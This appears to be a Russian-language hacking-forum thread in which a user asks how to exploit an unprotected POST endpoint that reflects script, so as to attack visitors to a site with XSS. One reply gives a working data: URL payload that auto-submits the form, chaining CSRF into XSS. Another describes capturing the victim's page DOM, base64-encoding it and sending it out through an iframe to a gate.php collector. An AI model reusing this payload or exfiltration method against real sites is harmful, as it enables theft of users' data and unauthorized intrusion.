XSS в выводе информации с Ajax

Discussion in 'Песочница' started by Elva, 19 May 2017.

  1. Elva

    Elva New Member

    Joined:
    1 Jan 2016
    Messages:
    24
    Likes Received:
    0
    Reputations:
    0
    Имеется форма запроса по адресу - domen.com/info/
    При нажатии на кнопку, идет POST запрос domen.com/ajax?action=getInfo
    На domen.com/info/ выводится полученная информация из запроса, в той же странице.

    При отправке JS в POST запросе, код успешно внедряется в domen.com/info/
    Токенов нету.

    Задача: Реализовать XSS атаку на пользователя находящегося на domen.com/info/
    Проблема: Не разберусь как отправить POST запрос, чтобы он вывелся в рамках той же страницы.
    Это возможно?
     
  2. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Code:
    data:text/html,<form action=http://site.com/ method=post><input name="param1" value="value1"> <input type="submit" id="a"></form><script>document.getElementById('a').click()</script>
    Это в браузер, т.е. задействуя csrf это можно сделать.
     
    _________________________
    Elva likes this.
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Похоже на Self-XSS.
     
    Elva likes this.
  4. ol1ver

    ol1ver Active Member

    Joined:
    22 Jul 2011
    Messages:
    237
    Likes Received:
    155
    Reputations:
    0
    попробуйте внедрить свой .js код на страницу domen.com/info

    а в нем как вариант через setInterval(цикл) чекать вхождение DOM элемента (который появляется только при post запросе), появился - пакуем DOM тело страницы и шлем. Под понятием шлем - iframe src="gate.php?data=base64encode_dom_body"
     
    #4 ol1ver, 1 Jun 2017
    Last edited: 1 Jun 2017